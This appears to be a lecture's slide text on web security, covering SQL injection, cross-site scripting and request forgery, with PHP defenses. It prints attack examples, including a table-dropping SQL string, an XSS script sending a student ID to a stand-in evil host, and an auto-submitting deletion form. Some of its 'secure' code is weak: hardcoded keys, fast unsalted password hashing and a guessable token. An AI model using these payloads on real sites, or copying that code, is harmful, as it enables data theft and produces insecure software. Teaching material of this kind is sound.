What does “Security” encompass? One viewpoint: NIST FIPS 199 3 key objectives: Confidentiality Integrity Availability http://csrc.nist.gov/publications/fips/fips199/FIPS-PUB-199- final.pdf

Confidentiality “Preserving authorized restrictions on information access and disclosure, including means for protecting personal privacy and proprietary information” In short: Keeping secrets secret This is the primary linkage between security and data privacy laws and regulations such as HIPAA Example of a threat: packet sniffing

Integrity “Guarding against improper information modification or destruction, and includes ensuring information non-repudiation and authenticity” In short: Not letting data get trashed Example of a threat: impersonation in order to achieve data modification

Availability “Ensuring timely and reliable access to and use of information” In short: People can get their data How much would people complain if they couldn’t get to certain information? That tells you whether availability is important. Can be assessed using Business Impact Analysis (BIA) Example of a threat: denial of service attack

Confidentiality != Integrity != Availability Reminder Confidentiality: Secrets stay secret Integrity: Data don't get trashed Availability: People can get their data Example: Stealing a copy of unencrypted file Confidentiality: fail; integrity and availability: ok Example: Appending false facts to a file Integrity: fail; confidentiality and availability: ok Example: Moving (hiding) somebody's file Availability: fail; confidentiality and integrity: ok

Some key web security concerns Logging of URLs Impersonation Autocomplete Man-in-the-middle Bots and denial-of-service Theft of data Encrypting data yourself Hashing passwords Injection attacks (later lecture) Cross-site forgery (later lecture)

Logging of URLs ASSUME that all URLs are logged somewhere Probably on your webserver, maybe elsewhere This includes ALL GET parameters So NEVER EVER send ANY data as a GET parameter if it needs to be kept confidential Passwords, credit card numbers, student ID numbers, etc.

Impersonation This is where user X pretends to be user Y So X can see Y's data (confidentiality: fail) So X can delete Y's data (integrity+availability: fail) How to prevent? Just make everybody authenticate before they can access any data that must be kept confidential or whose integrity & availability must be protected

Autocomplete These days, most browsers will kindly try to save users' data and auto-fill forms Includes passwords Potential for impersonation Threatens confidentiality+integrity+availability To disable… <form autocomplete="off" … > … <input type="text" autocomplete="off" … > …

Man-in-the-middle The browser doesn't talk directly to the server It talks to the operating system, which sends data on wireless or a cable to a router, which forwards the data to another network, etc. And anywhere along the way, somebody could view and log the data values as they go by Including passwords (even if sent by POST) Solution: Encrypt the data To do this, you install an SSL server certificate

Overview of how to set up SSL Lease some PHP hosting (server) space Lease rights to a domain (also known as "registering a domain") E.g., buy "mydomain.com" for a year Log into a server owned by the people from whom you leased the domain name & indicate the IP address of your leased server E.g., map "www.mydomain.com" to 69.25.142.5 Lease an SSL certificate (file) that contains cyptographic keys for your specified domain Log into your PHP server, put a copy of your certificate onto it, and restart your server  Anybody who connects to your server via https will have a totally (2-way) encrypted connection… voila, no more man-in-the-middle attacks

Bots and denial-of-service A browser is just a program Somebody could create another program that calls your server & pretends to be a browser This is called a "bot" And the bot can be installed on lots of computers Say, machines that a bad person has hacked ("botnet") If the program hits your often enough, legit requests won't get through This is called "denial of service" Availability threat (not confidentiality or integrity)

How to beat denial-of-service Still not a "solved problem" Partial solutions that reduce the threat: Replicate onto lots of servers Use a custom operating system (or web server or router) that filters out suspicious traffic Redesign the app with a peer-to-peer architecture rather than a client-server architecture I.e., it's not a web application any more

Theft of data Suppose Your web application has no obvious security holes… But the people you're leasing a server from are shady (or inept)… And somebody steals your database!!! Could be a huge threat to confidentiality, integrity, availability E.g., if unencrypted passwords are in the database, the thief can launch an impersonation attack Worse: what if somebody steals credit cards?

Theft of data isn't just for databases Suppose Your web application has no obvious security holes… But your users are absolutely clueless (they don't even know what antivirus is)… And somebody hacks their hard drives!!! Could be a huge threat to confidentiality, integrity, availability E.g., if unencrypted passwords are in cookies, the thief can launch an impersonation attack Worse: storing credit cards in autocomplete or cookies

Mitigating theft of data Simple solution Encrypt all data that needs to be kept confidential Before inserting into permanent storage Databases Files Cookies Etc.

Some example code <?php $secretInfo = '6011000000000004'; // credit card $keyForEncryptingAndDecrypting = 'montague1300!'; $iv = '37492910'; // any 8 digits $encryptionCipher = mcrypt_module_open(MCRYPT_BLOWFISH,'','cbc',''); mcrypt_generic_init($encryptionCipher, $keyForEncryptingAndDecrypting, $iv); $asEncrypted = base64_encode(mcrypt_generic($encryptionCipher, $secretInfo)); mcrypt_generic_deinit($encryptionCipher); $afterDecryption = mdecrypt_generic($encryptionCipher, base64_decode($asEncrypted)); echo $secretInfo . " -> " . $asEncrypted . " -> " . $afterDecryption; ?> // note: $asEncrypted can be pretty long

Now you need to keep your key safe You also need to keep your database username and password safe, incidentally Most PHP hosts (servers) allow this: Any lines of code that need to be kept secure can be placed in a file stored "above" your web application /store/them/here/config.inc Instead of /store/them/here/myweb_server_root/myfile.php And then include the values when you need them <?php include '../config.inc'; ?>

Incidentally, you don't actually need to store passwords in the database An even more secure option is to store a random- ish number computed based on the password (called a "hash") When user sends a password: Hash the password Compare to the hashed password in the database

Example code: Hashed passwords // when initializing database $usr = 'ricky'; $pwd = 'mypassword'; $insertthis = base64_encode(hash('sha256',$pwd)); mysql_query("insert into users(usr,pwd) values('".$usr."','".$insertthis."')"); // when you receive a username & password later on (user is trying to log in) $usr = $_REQUEST["usr"]; $pwd = $_REQUEST["pwd"]; $checkthis = base64_encode(hash('sha256',$pwd)); $rs2 = mysql_query("select usr from users where usr='" . mysql_real_escape_string($usr) . "' and pwd='" . mysql_real_escape_string($checkthis) . "'"); $_SESSION["usr"] = (mysql_numrows($rs2) > 0 ? $usr : "");

Even more secure… hash password concatenated with some random string // when initializing database $usr = 'ricky'; $pwd = 'mypassword'; $insertthis = base64_encode(hash('sha256',$pwd . "blahblahblah102020")); mysql_query("insert into users(usr,pwd) values('".$usr."','".$insertthis."')"); // when you receive a username & password later on (user is trying to log in) $usr = $_REQUEST["usr"]; $pwd = $_REQUEST["pwd"]; $checkthis = base64_encode(hash('sha256',$pwd . "blahblahblah102020")); $rs2 = mysql_query("select usr from users where usr='" . mysql_real_escape_string($usr) . "' and pwd='" . mysql_real_escape_string($checkthis) . "'"); $_SESSION["usr"] = (mysql_numrows($rs2) > 0 ? $usr : "");

Key points to remember Objectives: Keep secrets secret, don't let data get trashed, make sure people can get data Things to remember: Never send confidential data via GET Use SSL to prevent man-in-the-middle attacks Replication is a partial solution to denial-of-service Encrypt sensitive data values before storing Except for passwords: hash those instead

Some key web security concerns Logging of URLs Impersonation Autocomplete Man-in-the-middle Bots and denial-of-service Theft of data Encrypting data yourself Hashing passwords Injection attacks (this lecture) Cross-site forgery (next lecture) Covered in last lecture

Injection attacks Injection: Inserting something into your code that does not belong there Major threat to confidentiality, integrity, and availability Probably the most common mistake in web apps is leaving the door open to injection

Structure of an injection attack Receive data from outside your system User, another server, … anything you don’t control Your system stores the data Variable, session, database, file, … anywhere Your system uses the data Print on web page, insert into SQL, … anything, without taking precautions against evil data Evil events transpire…

Example: SQL injection attack DO NOT COPY-PASTE THIS CODE mysql_query("update mytable set mycolumn = '" . $_RESULT["param"] . "'") Evil user sends param = "x'; drop table mytable;" Your silly program executes… update mytable set mycolumn = 'x'; drop table mytable; Poof, no more table.

Preventing SQL injection attack Option #1: Validate all inputs, reject evil inputs Regexps work pretty well on numbers Option #2: Use mysql_real_escape Works pretty well for strings Option #3: Use prepared statements No need to concatenate

Example: HTML/JS injection attack DO NOT COPY-PASTE THIS CODE // $sid is current user's confidential student id // let's make a system for sending tweets to students $rs = mysql_query("select msg from tweets where sid=".$sid); $nrows=mysql_numrows($rs); echo "<h1>Tweets for you, student ".$sid."</h1>"; for ($i = 0; $i < $nrows; $i++) { echo mysql_result($rs,$i,"msg") . "<br>"; } But some evil person has sent this evil tweet: message equal to <script>var sid = $("h1").text(); document.write("<img src='http://www.myevilserver.com/a.php?"+sid+"'>");</script> What happens: This script gets written into the list of tweets. The current user's browser runs this nasty little script. The script generates an IMG tag, with src attribute including the student's confidential ID. The browser dutifully sends this confidential data to www.myevilserver.com

Example: HTML/JS injection attack DO NOT COPY-PASTE THIS CODE Or, suppose our evil person has sent this evil tweet: message equal to <script src="http://www.myevilserver.com/warez.html"></script> What happens: This script gets written into the list of tweets. The current user's browser runs this nasty little script DIRECTLY off of the other server Also known as "cross-site scripting attack" (XSS) Can also be accomplished with an <iframe> Continue attack in same manner as before…

But oh, the evils of "cross-site scripting" can be bad in so many ways Potential consequences of cross-site scripting Stealing data from the page Confidentiality fail Submitting forms on the user's behalf E.g., by clicking buttons on the page: integrity fail Downloading code to the user's computer E.g., by taking advantage of unpatched security holes in the user's browser

And once Dr. Evil has taken over the user's computer… Install a virus that reads everything on the user's computer Including credit card numbers and passwords Then tells your user's computer to attack other computers Making your user's computer into a bot And finally deletes everything on the machine Leaving a smoldering ruin

Summary of what happens when you don't protect your users Evil person puts SCRIPT or IFRAME tags into data used by your site (e.g., tweet database) Your site sends the data in HTML/JS to some other unsuspecting user The user's browser executes the SCRIPT or IFRAME tags The SCRIPT or IFRAME tags make the browser execute JS from some evil site The evil site's JS hacks the user's computer The user's computer is totally compromised

Preventing HTML/JS injection (including XSS attacks) The fix is very simple: Do not write any special html characters to the browser unless you know for absolutely certain that they are safe Use htmlspecialchars() when you need to generate HTML (not JS) from questionable strings htmlspecialchars($str) converts < to < (and has other effects on other characters)

Strategy for fighting injection attacks This always works for all injection attacks of any sort whatsoever (e.g., SQL, HTML, JS): Clean all data before you use it Example: Clean with mysql_real_escape before using in SQL Clean with htmlspecialchars before using in HTML

Alternate option for preventing injection In addition, you might want to Clean data just after arrival Example: Clean all data after reading it from database, from another server, from users, from files, from anywhere

Clean data just after arrival… Not always easy When data arrives, you don't always know how it will eventually be used So you don't know exactly how it needs to be cleaned Are you trying to remove apostrophes ' because it's going to be used in SQL? Or are you trying to remove open brackets < because it's going to be used in HTML/JS?

Bottom line Always clean data before use Clean data Don't assume data have ever been cleaned before Clean data Before you use data for SQL statements Before you use data to generate HTML/JS Before you use data to call other servers ETC

Final little puzzler DO NOT COPY-PASTE THIS CODE What is the problem & how would you fix it? $rs = mysql_query("select msg from tweets where sid=".$sid); $nrows=mysql_numrows($rs); if ($nrows > 0) { echo "<script>alert('The last tweet to you was "; echo htmlspecialchars(mysql_result($rs,0,"msg")); echo "');</script>"; }

http://php.net/manual/en/function.htmlspecialchars.p hp Final little puzzler Hint: Sometimes you need a little more than just the default htmlspecialchars() behavior. Check the htmlspecialchars() documentation to learn more about why. http://php.net/manual/en/function.htmlspecialchars.p hp

Some key web security concerns Logging of URLs Impersonation Autocomplete Man-in-the-middle Bots and denial-of-service Theft of data Encrypting data yourself Hashing passwords Injection attacks (last lecture) Cross-site forgery (current lecture) Covered in earlier lecture

Cross-site request forgery attack Cross-site request forgery (CSRF): Trick user's browser into trashing your site Very complex but important attack Very hard to defend against I'd guess that nearly every site on the web is susceptible to this attack, at some level

How CSRF works Browser Some other server Your server User submits login form to your server Server sends back session cookie; browser is now logged in User decides to visit another site The other server sends back HTML or JS… That causes the user's browser to send bad commands to your server

Key points User has to already be logged into your site For example, as a site administrator who is allowed by your site to insert/delete DB data User has to access another site The other site has to have a way of telling the browser to send commands to your site

"Send commands to your site"? Sure, the other server just has to send back… <form id="badform" method="post" action="http://yourserver.com/dbdelete.php"> <input type="text" name="id" value="100"> </form> <script>$("#badform").get(0).submit();</script>

What happens then… The browser reads the FORM and SCRIPT It executes the JS, automatically submitting the form The browser posts the data to your web page Your PHP probably checks that the user is logged in Yup… the session cookie took care of that And then your PHP acts on the command In this case, to delete some data

Even worse: Making the attack invisible Instead of outputting the form and JS directly, instead output a 1 pixel x 1 pixel IFRAME And then output the form and the JS inside the IFRAME The user will never notice

Even worse: Damaging lots of data Instead of outputting just one IFRAME, output a bunch of IFRAMES, each containing a form Then autosubmit all of the IFRAMES one after another… trash the entire database Major integrity fail (In fact, the FORM and IFRAME tags even have attributes that would make it possible to do this by reusing one IFRAME)

Even worse: Combine with XSS Instead of outputting a FORM that submits a relatively harmless data-deletion command, instead tell the browser to send evil data E.g., SCRIPT tag as shown in the previous lecture And if your site doesn't protect against cross-site scripting (again, see previous lecture), then other users can be attacked

Preventing CSRF is a huge pain Reduces but does not eliminate the risk: Use very short sessions Always check the referer header Options for eliminating the risk: Require a custom http header Create a special token that must be present

Option #1: Use very short sessions There is a tradeoff: You can use long sessions: Increased usability Users don't get logged of automatically if they step away for coffee You can use short sessions: Increased security Session cookies time out fast, so they have to be stolen fast if they are going to be of any use Therefore, the users are only susceptible to CSRF for a short amount of time

Option #2: Always check the referer Most (not all) versions of most browsers send an http header that tells what page the user is looking at when an http request is initiated HTTP_REFERER is like "Content-Type"… it is just another header sent by the browser to the server

Option #2: Always check the referer So when the form is posted back to your site $referer = $_SERVER['HTTP_REFERER']; if ($referer !== the CORRECT value for your site) refuse to do anything Referer should be a page on your site, NOT a page on somebody else's site

Option #2: Always check the referer Why this theoretically should work… Operations initiated by your page will have a REFERER header that matches your site Operations initiated by some other server's pages will have a REFERER header that matches their site Not a very good defense against CSRF, sadly Browsers can be configured in insecure ways that make this method unreliable

Option #3: Require a custom http header You can send a custom header of your own! In your JS: $.ajax({url:"http://myserver.com/dbpage.php", data:{a:1,b:2,c:3,etc:5},success:fnSuccess, beforeSend: function(request) { request.setRequestHeader("MYHEADER", "itslegit"); }}); In your PHP: if ($_SERVER["HTTP_MYHEADER"] != "itslegit") refuse to do anything

Option #3: Require a custom http header Why this works… Operations initiated by your page will have that special header present Operations initiated by some other server's pages will not have that special header present This approach apparently works quite reliably… but ALL your non-idempotent operations need to be done via AJAX.

Option #4: Create a special token that must be present When you output a form, generate a random number and put a copy in the session <?php $_SESSION["x"] = rand(1,1000) ?> <form …>… <input type="hidden" name="x" value="<?= $_SESSION["x"]?>">… </form> And when the form is posted, check that the right value is sent back if ($_REQUEST["x"] !== $_SESSION["x"]) refuse to do anything

Option #4: Create a special token that must be present Why this works… Operations initiated by your site will have that special token Operations initiated by some other server's pages will not have that special token (It's random, so it's hard to guess) This approach also works reliably, but ALL your non- idempotent operations need to be protected like this.

Summary Cross-site request forgery (CSRF) is dangerous Can trick users' browsers into trashing your data Can be combined with cross-site scripting Two solutions are not totally reliable Short sessions Checking the referer header Two solutions are a pain to implement Perform all non-idempotent operations with AJAX, set and set custom header Perform all non-idempotent operations with a form containing a secret random token that you check